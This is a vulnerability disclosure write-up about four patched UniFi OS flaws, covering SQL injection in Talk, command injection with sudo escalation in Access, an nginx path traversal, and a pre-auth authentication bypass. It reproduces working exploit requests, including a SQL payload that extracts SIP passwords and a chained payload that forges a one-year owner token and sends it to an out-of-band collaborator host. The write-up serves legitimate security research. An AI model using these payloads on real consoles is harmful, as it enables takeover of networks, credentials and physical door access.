Pre-Auth RCE in UniFi OS - CVE-2026-34909: One Request to Root Behind Seven Products ($42,751)

Introduction
A UniFi OS console is not just a router. Behind a single HTTPS interface sits a firewall, a network controller, a RADIUS server, a VoIP platform, a video-surveillance system, and a physical access-control system. One authorization mistake at that shared entry point can therefore cross boundaries that would normally belong to entirely separate products.
We began this research by reverse-engineering the UniFi OS platform and the services exposed behind its nginx reverse proxy. As the attack surface expanded, we moved into individual applications such as UniFi Talk and UniFi Access, where we uncovered multiple SQL injection vulnerabilities, an OS command injection, and a path traversal that affected UniFi OS's per-service authorization model.
Between April and May 2026, we reported four vulnerabilities to Ubiquiti. All four have since been fixed and publicly disclosed: three under Security Advisory Bulletin 066 and one under Security Advisory Bulletin 064. Together, the reports received four CVE assignments and over $42,751 in bounty awards.
Why UniFi OS?
The reason this architecture is worth attacking is consolidation. A UniFi Cloud Gateway is a router, a firewall, a WiFi controller, a WPA-Enterprise RADIUS server, a VoIP PBX, a video NVR, and a physical door-access controller, in one appliance, behind one login page. Small and mid-sized organisations buy exactly that consolidation.
It also means the blast radius of an authorization bug is not one application. There is no network boundary between those services, only a permission check.
Prior public work on UniFi has concentrated on the device edge: adoption protocols, inform channels, camera discovery. The Pwn2Own entries against Ubiquiti hardware in this period targeted cameras and their discovery protocol, not the console's web tier. The console's :443 authorization layer, the thing every one of those products is reached through, was largely untested. That gap is what we went after.
The machine behind port 443
Before any of the bugs make sense, you need the request path.
Internet / LAN --> nginx :443 TLS · auth_request · header inject/strip · routing
│ /api/* │ /proxy/<app>/*
▼ ▼
unifi-core (Koa, root) application plane
mints/verifies session JWT Protect 7080 · Talk 30080
hosts the /proxy dispatcher Network 8081 · Access 12080
ulp-go 9080 · Connect 18080Two properties make this shape load-bearing.
Every backend binds loopback only. There is no route from the network into Talk, Access or Network that does not pass through nginx. nginx is not a gate; it is the gate.
The nginx configuration is generated at runtime by the application it protects. unifi-core writes the config into /unifi-core/http/ and nginx includes it. The shipped nginx.conf in firmware is a placeholder. The security perimeter is emitted by the thing behind the perimeter, and it varies with the installed app set, the device model, and the setup state.
A protected location looks like this (/unifi-core/http/auth.conf):

The auth_request subrequest returns identity headers; proxy_set_header unconditionally overwrites any client-supplied X-UserId; that overwrite is the entire gate.
The subrequest is told which service the request is for through a variable nginx derives from the URL:
map $request_uri $target_runnable {
~^/proxy/([a-z][-a-z]*)/ $1;
default "";
}X-Target-Runnable is the string the authorization backend uses to decide whether this user may talk to this service.
Obtaining the firmware
Ubiquiti publishes a firmware catalog from which the UniFi OS Server builds can be retrieved directly:
curl -s \
"https://fw-update.ui.com/api/firmware?filter=eq~~version~~5.1.15&sort=-version&limit=80"{
"product": "unifi-os-server",
"platform": "linux-arm64",
"version": "v5.1.15",
"file_size": 870185548,
"sha256_checksum": "6cff0c1eedafbd82dddafb8324c2e21749814da586292a9554f63043b8c455f5",
"_links": {
"data": {
"href": "https://fw-download.ubnt.com/data/unifi-os-server/..."
}
}
}
The UniFi OS Server .bin is a self-extracting ELF with a ZIP archive appended; unpacking its OCI layers reconstructs the full filesystem.
Reconstructing the firmware
The downloaded UniFi OS Server .bin is a self-extracting ELF executable with a ZIP archive appended to it. The ZIP contains an OCI container image. Unpacking its layers reconstructs the filesystem and exposes the components relevant to this research:
/usr/share/unifi-core/app/service.js
Authentication backend and application proxy dispatcher
/usr/share/unifi-core/http/*.conf
Shared nginx authentication and proxy configuration
/usr/sbin/ulp-go-app
Identity service
/usr/sbin/unifi-access-app
UniFi Access controller
/usr/share/unifi-talk/app/server.js
UniFi Talk applicationFrom binary to the line of code
UniFi OS is not one consistently structured application. Its components are written in different languages, compiled using different toolchains, and stripped to different degrees.
UniFi Talk ships as a minified webpack bundle at /usr/share/unifi-talk/app/server.js, with its source map removed. But it is a webpack bundle, and webpack leaves module boundaries intact, splitting it back out yields 630 real modules with a dependency graph.
After separating and formatting the modules, the application became considerably easier to trace. Every Talk finding in this post is cited by module number because that is the only stable identifier available: module 13905 is get_system_log_list, module 45494 is the parking-lot delete handler, module 32962 is a shared SQL helper, module 23314 is the permission middleware.
We reference Talk code by webpack module number:

Minified UniFi Talk server.js bundle showing numbered webpack module definitions
13905 get_system_log_list
45494 parking-lot deletion handler
32962 shared SQL formatting helper
23314 permission middlewareunifi-core is a Rollup-generated ESM bundle with no source map. Formatting and deobfuscating it produced more than 75,000 lines of code, but most function and variable names remained synthetic. We anchored important functions to stable nearby values such as:
/api/auth/validate-sso/
/internal/auth/public-api
X-Original-URI
X-Normalized-URI
X-Target-RunnableUniFi Access and ulp-go are stripped AArch64 Go binaries. Go binaries retain runtime metadata inside pclntab, so function names are recoverable even from a stripped build; the route tables and the shell-execution helpers in this post came out that way.
CVE-2026-50747: From View Only to Full Database Control in UniFi Talk
Critical: SQL Injection · UniFi Talk · View Only role
Our first critical finding did not begin with the reverse proxy or the platform authorization layer. It began inside UniFi Talk with the lowest application role available.
We created a user with View Only access to Talk. This role is intended to inspect limited application data without changing configuration, deleting records, or managing users.
During route enumeration, we found several endpoints that accepted user-controlled values and passed them into dynamically constructed PostgreSQL queries. Two different code patterns were vulnerable. One affected the system log filtering functionality. The other affected a deletion handler used by the parking-lot feature.
Ubiquiti assigned both reports CVE-2026-50747.
A sanitizer that sanitized nothing
The first vulnerable handler was responsible for filtering entries in the UniFi Talk system log.
/usr/share/unifi-talk/app/server.js, module 13905
const get_system_log_list = async (request) => {
const { filters } = request;
let where = "true";
filters?.level &&
(where += ` AND event_level = '${filters.level}'`);
filters?.type &&
(where += ` AND event_type = '${filters.type}'`);
filters?.timeFrom &&
(where += ` AND event_time >= '${filters.timeFrom}'`);
where = pgFormat(where); // <- no format specifiers: returns input unchanged
const result = await db.query(
`SELECT ... FROM system_log WHERE ${where} ORDER BY ...`
);
};At first glance, the call to pgFormat() appears to sanitize the completed query. It does not. The pg-format package escapes values only when they are passed through format specifiers such as %L, %I, or %s. In this case, the function receives one already-constructed string with no format specifiers; it returns the input unchanged. The sanitiser was never actually used.
Confirming the three injection points
We tested each filter independently using multiple SQL injection oracles. The level, type, and timeFrom parameters all produced consistent differences between true and false conditions. Time-based payloads also produced predictable delays.
Boolean true response: 14,600 bytes
Boolean false response: 13,494 bytes
Normal response time: approximately 0.04 seconds
Delayed response time: approximately 6.05 secondsThe three parameters were confirmed using independent boolean, time-based, and error-based oracles. Each technique produced consistent results against the same query.
The system log handler allowed database reads through the vulnerable WHERE clause. A second code pattern made the impact considerably worse.
A shared SQL helper that manually quoted values
Elsewhere in the Talk bundle, we found a shared helper that converted a JavaScript array into a PostgreSQL list.
server.js, module 32962
const js_arr_to_pg_list = arr =>
pgFormat(
"(" +
arr
.map(value =>
typeof value === "number"
? value
: `'${value}'` // <- manually quoted, no %L specifier
)
.join(",") +
")"
);The helper manually surrounds string values with single quotes before passing the complete string to pgFormat(). Again, there are no format specifiers. The escaping function receives an already assembled SQL fragment and returns it unchanged.
The helper was used by a parking-lot deletion handler (module 45494). The endpoint /proxy/talk/api/parking_lots/delete accepted an array of UUIDs and inserted the result directly into a DELETE query. Because PostgreSQL permits multiple statements, stacked queries executed.
Turning an error into an extraction channel
POST /proxy/talk/api/parking_lots/delete HTTP/1.1
Host: 192.168.1.1
Cookie: TOKEN=<view-only-user-token>
X-CSRF-Token: <csrf>
Content-Type: application/json
{
"uuids": [
"1'); SELECT CAST(version() AS int)--"
]
}The server returned:
invalid input syntax for type integer:
"PostgreSQL 14.22 (Debian 14.22-1.pgdg11+1)
on aarch64-unknown-linux-gnu,
compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit"That gave us an error-based extraction channel. For example, the following payload extracted every Talk extension together with its SIP password:
{
"uuids": [
"1'); SELECT CAST((SELECT string_agg(ext || ':' || sip_password, '|') FROM \"user\") AS int)--"
]
}invalid input syntax for type integer:
"0001:/TPaw...|0202:l3K+..."
A View Only session injected a stacked PostgreSQL query and returned SIP credentials through the application error response.
Here we were able to automate the whole takeover as shown in the script running:

Demonstrated impact:
Full read and write access to 57 tables from the lowest Talk role: SIP credentials in plaintext, call detail records including an emergency 911 call, SMS bodies, voicemail and call transcripts, the contact directory, device inventory, and the cross-application identifiers linking a Talk user to their Protect, Access, and Network identities.
CVE-2026-50748: From View Only to Root in UniFi Access
Critical: OS Command Injection + Privilege Escalation · UniFi Access · View Only role
The Talk findings showed what happened when a low-privilege user reached database operations the application assumed were already protected. One week later, we found the same trust assumption inside UniFi Access. This time it was a shell command.
Carrying the CVE finding forward
We had previously reported CVE-2025-52665, an OS command injection in the same ucore/backup route family. That earlier finding established a recognisable pattern:
/api/ucore/backup/*
A user controlled dir field
A Go service calling a shell helperThe earlier route was bound to an internal service and was not reachable through the main external interface. The important part that survived was the shape of the vulnerability.
When we analyzed a newer UniFi Access build, we carried that pattern forward. Instead of starting from zero, we asked a focused question of every backup handler we could recover:
Does dir still reach a shell, and can an external user reach the handler through nginx?On UniFi Access 4.2.16+11797, Ubiquiti fixed it by applying the endpoint to localhost only. The vulnerability was still there; it just needed a bypass or endpoint fuzzing.
Our hackbot smart-fuzzed proxy/access/* for interesting endpoints and it found one. The endpoint was still exposed through the main UniFi OS interface:
POST /proxy/access/api/ucore/backup/export HTTP/1.1
Host: 192.168.1.1
Content-Type: application/json
Cookie: TOKEN=<view-only-session>
X-CSRF-Token: <token>
{"dir":"/tmp/test"}The failure first
The obvious payload did nothing:
{"dir":"/tmp/clean; id > /tmp/poc_rce"}No file appeared. We tried pipeline operators, almost nothing worked.
That pattern was useful. Semicolons, pipes, and newlines are shell control operators; they only change command structure when the shell parses them as syntax. Inside a double-quoted argument, they are ordinary characters.
Both $(command) and backticks are expanded inside double quotes. A payload that fails with ; but succeeds with $() reveals where the input landed: inside a quoted argument in a shell command.
POST /proxy/access/api/ucore/backup/export HTTP/1.1
Host: 192.168.1.1
Content-Type: application/json
Cookie: TOKEN=<view-only-session>
X-CSRF-Token: <token>
{"dir":"/tmp/clean$(id > /tmp/poc_rce 2>&1)"}The server returned:
HTTP/1.1 500 Internal Server Error
backup failed:file /tmp/clean/backup-unifi-access.zip no existThis is the confirmation we needed. The routine expanded the command substitution, executed id, and only then checked whether its expected backup file existed. The backup failed after our command had already run.
On the gateway:
cat /tmp/poc_rceuid=995(unifi-access) gid=995(unifi-access) groups=995(unifi-access)The input had reached /bin/sh.

The HTTP 500 was the proof. The response referenced the path we constructed, confirming command substitution had already been evaluated.

| Syntax | Result | Reason |
|---|---|---|
$(command) | Works | Expands inside double quotes |
`command` | Works | Expands inside double quotes |
; command | Fails | Treated as literal text inside quotes |
| command | Fails | Treated as literal text inside quotes |
Newline | Fails | Treated as literal text inside quotes |
Escalating from the service account to root
Command execution as unifi-access was not the end. The package installed the following sudoers entry:
/etc/sudoers.d/unifi-access
"unifi-access" ALL=(ALL:ALL) NOPASSWD:
/usr/bin/dpkg,
/bin/systemctl,
/sbin/ubnt-tools,
/usr/lib/unifi-access/scripts/sudo_proxy.sh,
/bin/cp,
/usr/bin/ua-adb,
/usr/bin/duOne permitted script stood out: /usr/lib/unifi-access/scripts/sudo_proxy.sh:
#!/bin/sh
"$@"That is the entire file. The sudoers rule appears to restrict the service account to one approved script. The script then executes every argument supplied to it.
We passed id through the wrapper:
{
"dir": "/tmp/root$(sudo /usr/lib/unifi-access/scripts/sudo_proxy.sh id > /tmp/poc_root 2>&1)"
}Then read the result:
cat /tmp/poc_rootuid=0(root) gid=0(root) groups=0(root)
root via a sudoers wrapper whose entire body is "$@"
Demonstrated impact chain:
View Only UniFi Access account
|
v
POST /proxy/access/api/ucore/backup/export
|
v
Command execution as uid 995 (unifi-access)
|
v
NOPASSWD sudo_proxy.sh
|
v
uid 0 (root)Root access on this appliance reaches far beyond the Access application; it operates door locks and NFC credentials.
CVE-2026-34909: Path Traversal Authorization Bypass ($30,500)
Critical: Path Traversal · UniFi OS nginx · CVSS 10.0 (re-scored by vendor)
How nginx identified the destination service
UniFi OS placed every application behind a shared nginx reverse proxy. The application name was extracted from the incoming request path using the following map:
rootfs/etc/nginx/nginx.conf.disabled
# UOS mappings
map $request_uri $target_runnable {
default '';
~^/proxy/([a-z]+)/(.*)$ $1;
~^/app-assets/([a-z]+)/(.*)$ $1;
}
UniFi OS derived the service name from $request_uri (the raw path) before nginx normalized and routed the request; the policy decision and enforcement points saw different values.
For a normal request such as:
/proxy/access/api/ucore/statusthe regular expression extracts:
accessnginx stores that value in:
$target_runnableThe authorization subrequest then receives:
X-Target-Runnable: accessThis tells the authorization backend which application the user is attempting to reach.
The important detail is the variable used by the map: $request_uri. Routing happened later, after nginx had interpreted and normalized that path. The configuration assumed that both representations would always identify the same application.
There was also a second issue in the regular expression: [a-z]+ accepted lowercase letters only. A service name such as uid-agent contains a hyphen and therefore failed to match. For that service, $target_runnable fell through to ''. That did not create the traversal, but it later explained why uid-agent behaved differently from the other application prefixes.
Establishing the expected 403
Before testing the traversal, we created the most restricted account supported by the platform:
{
"roles": [],
"permissions": {}
}The account could authenticate successfully, but it had no permission to access UniFi Network. A direct request behaved exactly as expected:
curl -sk \
-b cookies.txt \
-H "X-CSRF-Token: $CSRF" \
"https://192.168.1.1/proxy/network/api/s/default/get/setting"
HTTP/1.1 403 Forbidden
We then sent the same Network request through the Access application prefix with a percent-encoded traversal:
curl -sk \
-b cookies.txt \
-H "X-CSRF-Token: $CSRF" \
"https://192.168.1.1/proxy/access/..%2f..%2fproxy/network/api/s/default/get/setting"
HTTP/1.1 200 OKThe body contained all 35 UniFi Network configuration sections.

The traversal bypassed the authorization check and returned the full network configuration including the RADIUS private key and VPN credentials.
Chaining Everything to a Pre-Auth External RCE
rootfs/usr/share/unifi-core/app/service.js (UniFi OS Server 5.0.6, line 341, col 57027)
if (cot.has(`${r} ${o}`) || o?.startsWith("/api/auth/validate-sso/"))
return t.statusCode = 201, t.end();cot is a Set of literal "METHOD /path" strings, the correct shape for an allowlist. The second half of the || is not. It is a lexical prefix test over the attacker's raw request line, with:
- no percent-decoding
- no
..resolution - no anchor on the SSO-id format that is supposed to follow the prefix
- no
$terminator of any kind
A 201 from this function means exempt; the request proceeds without any credential being examined.
The trap we fell into first
We saw this line months before we understood it. An early pass mapped the allowlist, recorded the last entry as Prefix: /api/auth/validate-sso/*, then went and read the handler it protects:
pe.get("/auth/validate-sso/:ssoId", Hte) // Hte requires e.state_.userThe real route requires an authenticated session. So the note we wrote was "requires state_.user, not pre-auth in practice", and we moved on.
That was correct about the handler and wrong about the decision. The value of an authentication exemption is not what the exempted handler does. It is what else the string can be made to mean. The exemption is granted by the gate; the handler never gets consulted about whether it deserved it.
One request, two representations
raw ($request_uri) /api/auth/validate-sso/../../../proxy/users/api/ucore/backup/export
└── startsWith("/api/auth/validate-sso/") --> 201, exempt
normalized ($uri) /proxy/users/api/ucore/backup/export
└── location /proxy/users/ --> proxy_pass 127.0.0.1:9080 (ulp-go)The prefix is a key for every location nginx gates. It does not matter what the exempted route does, because the request never goes there. /proxy/users/ is ulp-go, the identity service, carrying the same ucore/backup route family that we had already proved reaches a shell in UniFi Access.
Exploitation
Attempt one: refused
curl -k -s --path-as-is -X POST \
"https://192.168.1.1/api/auth/validate-sso/../../../proxy/users/api/ucore/backup/export" \
-H "Content-Type: application/json" \
-d '{"dir":"/tmp/x"}'{"code":-10,"codeS":"CODE_AUTH_FAILED","msg":"Authentication failed.",
"error":"only allowed to access from trusthost, remote_ip=192.168.1.1"}The traversal worked; we were talking to ulp-go. But ulp-go had a gate of its own. Read the error rather than the status code. It names the control, then makes a mistake: the remote_ip it reports back is 192.168.1.1, the address in our URL. Not our client's address.
Attempt two: convincing a service it is talking to itself
rootfs/usr/share/unifi-core/http/proxy.conf
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Forwarded-Host $host;nginx re-emits the client's Host header as X-Forwarded-Host, and never strips it on this path. ulp-go binds loopback only, so its real TCP peer is always 127.0.0.1, nginx itself. Having satisfied itself that the connection is local, it then trusts the forwarded name to decide which local host is calling. That is the whole gate:
curl -k -s --path-as-is -X POST \
"https://192.168.1.1/api/auth/validate-sso/../../../proxy/users/api/ucore/backup/export" \
-H "Host: 127.0.0.1" \
-H "Content-Type: application/json" \
-d '{"dir":"/tmp/x"}'Keep in mind this would work with any external UniFi IP or host, hence why the criticality of this vulnerability. The same payload as proven in the above command injection will work but we topped it a notch.
The payload

We did not go for root. Root on this is easy, as explained in the OS command injection section, privilege escalation was straightforward to reproduce. We went for something harder:
-d '{"dir":"/tmp/x;TOK=$(echo <base64>|base64 -d|sh 2>/dev/null);curl -ks http://<collab-id>.oastify.com/$TOK"}'Decoded, the payload reads the JWT signing secret, locates the owner account, and signs a fresh token:
node20 -e '
const f = require("fs"),
y = require("/usr/share/unifi-core/app/node_modules/js-yaml"),
j = require("/usr/share/unifi-core/app/node_modules/jsonwebtoken"),
c = require("crypto");
const s = y.load(f.readFileSync("/data/unifi-core/config/jwt.yaml", "utf8")).secret;
const o = JSON.parse(f.readFileSync("/data/unifi-core/config/cache/users.json", "utf8"))
.find(u => u.role === "owner");
console.log(j.sign({
userId: o.unique_id,
passwordRevision: o.password_revision,
isRemembered: true,
csrfToken: c.randomUUID()
}, s, { expiresIn: "365d", jwtid: c.randomUUID() }));
'jwt.yaml holds the HS256 secret the console signs every session token with. users.json holds the account list, from which we take whichever user has role === "owner". We sign a token carrying that owner's unique_id and password_revision, mark it isRemembered, and set the expiry to a year.
Demonstrated impact:
An unauthenticated request over the internet produced a valid owner session token, exfiltrated out-of-band to a collaborator. On owned devices, the same primitive was applied to root, /etc/shadow rewritten, and on a UDM-Pro a persistent root SSH path installed.
Conclusion
We started with the lowest account UniFi OS will create and finished with root on the appliance and a signed owner session that did not expire for a year.
View Only Talk account reading and writing 57 database tables. SIP credentials in plaintext, call detail records including an emergency 911 call, SMS bodies, voicemail and call transcripts, the contact directory, and the cross-application identifiers linking Talk users to Protect, Access, and Network identities.
View Only Access account executing commands as root. One HTTP request to backup/export, command substitution inside the dir field, then a sudo wrapper whose entire body is "$@". Full device takeover from the lowest role, on the controller that operates door locks.
Zero-permission account reading the entire network configuration. Thirty-four endpoints returning 403 directly returned 200 through an encoded traversal, including the 2048-bit RADIUS server private key, the peer-to-peer management PSK, the site-to-site VPN key, every firewall rule, and every connected client. Re-scored to CVSS 10.0 by Ubiquiti.
Unauthenticated request minting a valid owner token. One clause in the authentication allowlist was a prefix match, so the gate exempted a request it then routed somewhere else entirely. Two headers and a JSON body produced a session signed with the console's own key, bound to the real owner, valid for 365 days.
Ubiquiti fixed all of it. Four CVEs, $42,751 in bounties, and one report they reopened after payment to raise the score themselves when they found reach we could not see from one device.
Disclosure Timeline
| Credit | Abdulaziz Almadhi | Catchify Security |
| Reported | 10 April 2026 (Talk, two reports), 17 April 2026 (Access, nginx traversal) |
| Triaged | 13 April (Talk), 17 April (Access), 21 April (traversal) |
| Re-scored by vendor | 20 May 2026: traversal raised to CVSS 10.0 and reclassified as WAN-side |
| Fixed in | UniFi OS 5.1.11 and Server 5.0.8 (UOS-16199), root cause in 5.1.15 (SA-064), Access 4.2.29, Talk 5.2.2 |
| CVEs | CVE-2026-34909, CVE-2026-50747, CVE-2026-50748 |
| Bounties | $30,500 · $4,084 · $4,084 · $4,083 · Total $42,751 |
| Disclosure | Security Advisory Bulletin 064 and Security Advisory Bulletin 066, with full credit |
One note on the traversal award. Ubiquiti triaged it on 21 April and paid $3,583 plus a $500 bonus under the LAN-side band. A month later they came back. They reclassified it, re-scored it, confirmed the fix had shipped, and paid the difference: $26,417, for a report total of $30,500.